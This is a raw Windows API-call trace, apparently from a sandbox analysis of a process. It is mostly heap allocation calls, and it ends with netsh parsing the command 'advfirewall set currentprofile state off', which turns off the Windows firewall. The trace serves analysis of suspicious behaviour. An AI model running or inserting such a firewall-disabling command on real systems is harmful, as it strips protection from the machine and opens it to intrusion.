[0229.639] GetProcessHeap () returned 0x1e0000 [0229.639] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x228c50 [0229.639] GetProcessHeap () returned 0x1e0000 [0229.639] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22a5a0 | out: hHeap=0x1e0000) returned 1 [0229.908] RegisterContext () returned 0x0 [0229.908] GetProcessHeap () returned 0x1e0000 [0229.908] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c0) returned 0x23b290 [0229.908] GetProcessHeap () returned 0x1e0000 [0229.909] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x228c50 | out: hHeap=0x1e0000) returned 1 [0229.909] RegisterContext () returned 0x0 [0229.909] GetProcessHeap () returned 0x1e0000 [0229.909] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x230) returned 0x23bc60 [0229.909] GetProcessHeap () returned 0x1e0000 [0229.909] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b290 | out: hHeap=0x1e0000) returned 1 [0230.062] RegisterContext () returned 0x0 [0230.062] GetProcessHeap () returned 0x1e0000 [0230.062] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2a0) returned 0x23b290 [0230.062] GetProcessHeap () returned 0x1e0000 [0230.062] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23bc60 | out: hHeap=0x1e0000) returned 1 [0230.062] RegisterContext () returned 0x0 [0230.062] GetProcessHeap () returned 0x1e0000 [0230.062] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df90 [0230.062] GetProcessHeap () returned 0x1e0000 [0230.062] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0230.062] RegisterContext () returned 0x0 [0230.062] GetProcessHeap () returned 0x1e0000 [0230.062] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22a5a0 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20df90 | out: hHeap=0x1e0000) returned 1 [0230.063] RegisterContext () returned 0x0 [0230.063] RegisterContext () returned 0x0 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x310) returned 0x23bc60 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b290 | out: hHeap=0x1e0000) returned 1 [0230.063] RegisterContext () returned 0x0 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x380) returned 0x246330 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23bc60 | out: hHeap=0x1e0000) returned 1 [0230.063] RegisterContext () returned 0x0 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x540) returned 0x2466c0 [0230.063] GetProcessHeap () returned 0x1e0000 [0230.063] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b780 | out: hHeap=0x1e0000) returned 1 [0230.064] RegisterContext () returned 0x0 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5b0) returned 0x23b780 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2466c0 | out: hHeap=0x1e0000) returned 1 [0230.064] RegisterContext () returned 0x0 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x620) returned 0x2466c0 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b780 | out: hHeap=0x1e0000) returned 1 [0230.064] RegisterContext () returned 0x0 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df90 [0230.064] GetProcessHeap () returned 0x1e0000 [0230.064] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0230.065] RegisterContext () returned 0x0 [0230.065] GetProcessHeap () returned 0x1e0000 [0230.065] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x690) returned 0x23b780 [0230.065] GetProcessHeap () returned 0x1e0000 [0230.065] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2466c0 | out: hHeap=0x1e0000) returned 1 [0230.508] RegisterContext () returned 0x0 [0230.509] GetProcessHeap () returned 0x1e0000 [0230.509] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x700) returned 0x250860 [0230.509] GetProcessHeap () returned 0x1e0000 [0230.509] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b780 | out: hHeap=0x1e0000) returned 1 [0235.311] RegisterContext () returned 0x0 [0235.311] GetProcessHeap () returned 0x1e0000 [0235.311] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e390 [0235.311] GetProcessHeap () returned 0x1e0000 [0235.311] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.318] RegisterContext () returned 0x0 [0235.318] GetProcessHeap () returned 0x1e0000 [0235.318] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22ab40 [0235.318] GetProcessHeap () returned 0x1e0000 [0235.318] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20e390 | out: hHeap=0x1e0000) returned 1 [0235.318] RegisterContext () returned 0x0 [0235.318] GetProcessHeap () returned 0x1e0000 [0235.318] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x770) returned 0x267b00 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x250860 | out: hHeap=0x1e0000) returned 1 [0235.319] RegisterContext () returned 0x0 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e390 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.319] RegisterContext () returned 0x0 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22ac30 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20e390 | out: hHeap=0x1e0000) returned 1 [0235.319] RegisterContext () returned 0x0 [0235.319] RegisterContext () returned 0x0 [0235.319] RegisterContext () returned 0x0 [0235.319] GetProcessHeap () returned 0x1e0000 [0235.319] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x7e0) returned 0x268280 [0235.320] GetProcessHeap () returned 0x1e0000 [0235.320] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x267b00 | out: hHeap=0x1e0000) returned 1 [0235.327] RegisterContext () returned 0x0 [0235.327] GetProcessHeap () returned 0x1e0000 [0235.327] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x850) returned 0x268a70 [0235.327] GetProcessHeap () returned 0x1e0000 [0235.327] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268280 | out: hHeap=0x1e0000) returned 1 [0235.328] RegisterContext () returned 0x0 [0235.328] GetProcessHeap () returned 0x1e0000 [0235.328] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8c0) returned 0x2692d0 [0235.328] GetProcessHeap () returned 0x1e0000 [0235.328] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268a70 | out: hHeap=0x1e0000) returned 1 [0235.328] RegisterContext () returned 0x0 [0235.328] GetProcessHeap () returned 0x1e0000 [0235.328] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e390 [0235.328] GetProcessHeap () returned 0x1e0000 [0235.328] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.430] RegisterContext () returned 0x0 [0235.430] GetProcessHeap () returned 0x1e0000 [0235.430] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x269bd0 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20e390 | out: hHeap=0x1e0000) returned 1 [0235.431] RegisterContext () returned 0x0 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x264e60 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x269bd0 | out: hHeap=0x1e0000) returned 1 [0235.431] RegisterContext () returned 0x0 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c0) returned 0x264980 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x264e60 | out: hHeap=0x1e0000) returned 1 [0235.431] RegisterContext () returned 0x0 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e390 [0235.431] GetProcessHeap () returned 0x1e0000 [0235.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.454] RegisterContext () returned 0x0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x269bd0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20e390 | out: hHeap=0x1e0000) returned 1 [0235.454] RegisterContext () returned 0x0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x264e60 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x269bd0 | out: hHeap=0x1e0000) returned 1 [0235.454] RegisterContext () returned 0x0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e390 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.454] RegisterContext () returned 0x0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e410 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0235.454] RegisterContext () returned 0x0 [0235.454] GetProcessHeap () returned 0x1e0000 [0235.454] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x930) returned 0x267b00 [0235.455] GetProcessHeap () returned 0x1e0000 [0235.455] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2692d0 | out: hHeap=0x1e0000) returned 1 [0235.455] RegisterContext () returned 0x0 [0235.455] GetProcessHeap () returned 0x1e0000 [0235.455] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x9a0) returned 0x268440 [0235.455] GetProcessHeap () returned 0x1e0000 [0235.455] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x267b00 | out: hHeap=0x1e0000) returned 1 [0240.535] RegisterContext () returned 0x0 [0240.536] GetProcessHeap () returned 0x1e0000 [0240.536] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa10) returned 0x26f070 [0240.536] GetProcessHeap () returned 0x1e0000 [0240.536] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268440 | out: hHeap=0x1e0000) returned 1 [0240.536] RegisterContext () returned 0x0 [0240.536] GetProcessHeap () returned 0x1e0000 [0240.536] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e590 [0240.536] GetProcessHeap () returned 0x1e0000 [0240.536] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0240.536] SetConsoleCtrlHandler (HandlerRoutine=0xe09198, Add=1) returned 1 [0240.536] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77970000 [0240.536] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0240.537] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0240.537] FreeLibrary (hLibModule=0x77970000) returned 1 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-?") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-h") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="?") returned 34 [0240.537] _wcsicmp (_String1="advfirewall", _String2="/?") returned 50 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-v") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-a") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-c") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-f") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-r") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-u") returned 52 [0240.537] _wcsicmp (_String1="advfirewall", _String2="-p") returned 52 [0240.537] GetVersionExW (in: lpVersionInformation=0x1275c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1275c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0240.537] _vsnwprintf (in: _Buffer=0xe15b80, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x127588 | out: _Buffer="6.1.7601") returned 8 [0240.537] _vsnwprintf (in: _Buffer=0xe15fa0, _BufferCount=0x103, _Format="%d", _ArgList=0x127588 | out: _Buffer="7601") returned 4 [0240.537] _vsnwprintf (in: _Buffer=0xe15d90, _BufferCount=0x103, _Format="%d", _ArgList=0x127588 | out: _Buffer="1") returned 1 [0240.537] _vsnwprintf (in: _Buffer=0xe161b0, _BufferCount=0x103, _Format="%d", _ArgList=0x127588 | out: _Buffer="0") returned 1 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a830 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a850 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x25a870 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a890 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x25a8b0 [0240.538] wcscpy_s (in: _Destination=0x25a8b0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a870 | out: hHeap=0x1e0000) returned 1 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a850 | out: hHeap=0x1e0000) returned 1 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a850 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a870 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x52) returned 0x24ea50 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a8d0 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a8f0 [0240.538] wcscpy_s (in: _Destination=0x25a8f0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268470 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22ee90 [0240.538] wcscpy_s (in: _Destination=0x22ee90, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268490 [0240.538] GetProcessHeap () returned 0x1e0000 [0240.538] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e) returned 0x266f80 [0240.539] wcscpy_s (in: _Destination=0x266f80, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2684b0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x2684d0 [0240.539] wcscpy_s (in: _Destination=0x2684d0, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2684f0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eeb0 [0240.539] wcscpy_s (in: _Destination=0x22eeb0, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x24ea50 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a870 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a870 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268510 [0240.539] wcscpy_s (in: _Destination=0x268510, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a8f0 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a8d0 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a8d0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a8f0 [0240.539] wcscpy_s (in: _Destination=0x25a8f0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268510 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a870 | out: hHeap=0x1e0000) returned 1 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x25a870 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eec0 [0240.539] wcscpy_s (in: _Destination=0x22eec0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0240.539] GetProcessHeap () returned 0x1e0000 [0240.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22ee90 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268470 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268470 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e) returned 0x266fb0 [0240.540] wcscpy_s (in: _Destination=0x266fb0, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x266f80 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268490 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268490 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x268510 [0240.540] wcscpy_s (in: _Destination=0x268510, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684d0 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684b0 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2684b0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22ee90 [0240.540] wcscpy_s (in: _Destination=0x22ee90, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22eeb0 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684f0 | out: hHeap=0x1e0000) returned 1 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x30) returned 0x26c5c0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x2684f0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2684d0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eeb0 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e) returned 0x266f80 [0240.540] GetProcessHeap () returned 0x1e0000 [0240.541] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x268530 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eed0 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x268550 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x268550, Size=0xe) returned 0x268570 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x268570, Size=0x24) returned 0x266fe0 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x266fe0, Size=0x26) returned 0x267010 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x267010, Size=0x2c) returned 0x26c600 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x26c600, Size=0x2e) returned 0x26c640 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x26c640, Size=0x4a) returned 0x24ea50 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x24ea50, Size=0x4c) returned 0x24eb10 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x24eb10, Size=0x56) returned 0x24ea50 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x24ea50, Size=0x58) returned 0x24eb10 [0240.541] GetProcessHeap () returned 0x1e0000 [0240.541] RtlReAllocateHeap (Heap=0x1e0000, Flags=0x0, Ptr=0x24eb10, Size=0x5e) returned 0x266230 [0240.555] GetProcessHeap () returned 0x1e0000 [0240.555] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x266230 | out: hHeap=0x1e0000) returned 1 [0240.555] _wcsnicmp (_String1="advfirewall", _String2="dump", _MaxCount=0xb) returned -3 [0240.555] _wcsnicmp (_String1="advfirewall", _String2="help", _MaxCount=0xb) returned -7 [0240.555] _wcsnicmp (_String1="advfirewall", _String2="?", _MaxCount=0xb) returned 34 [0240.555] _wcsnicmp (_String1="advfirewall", _String2="exec", _MaxCount=0xb) returned -4 [0240.555] _wcsnicmp (_String1="advfirewall", _String2="advfirewall", _MaxCount=0xb) returned 0 [0240.555] GetProcessHeap () returned 0x1e0000 [0240.555] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268570 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268550 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5e) returned 0x266230 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268590 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x2685b0 [0240.556] wcscpy_s (in: _Destination=0x2685b0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap 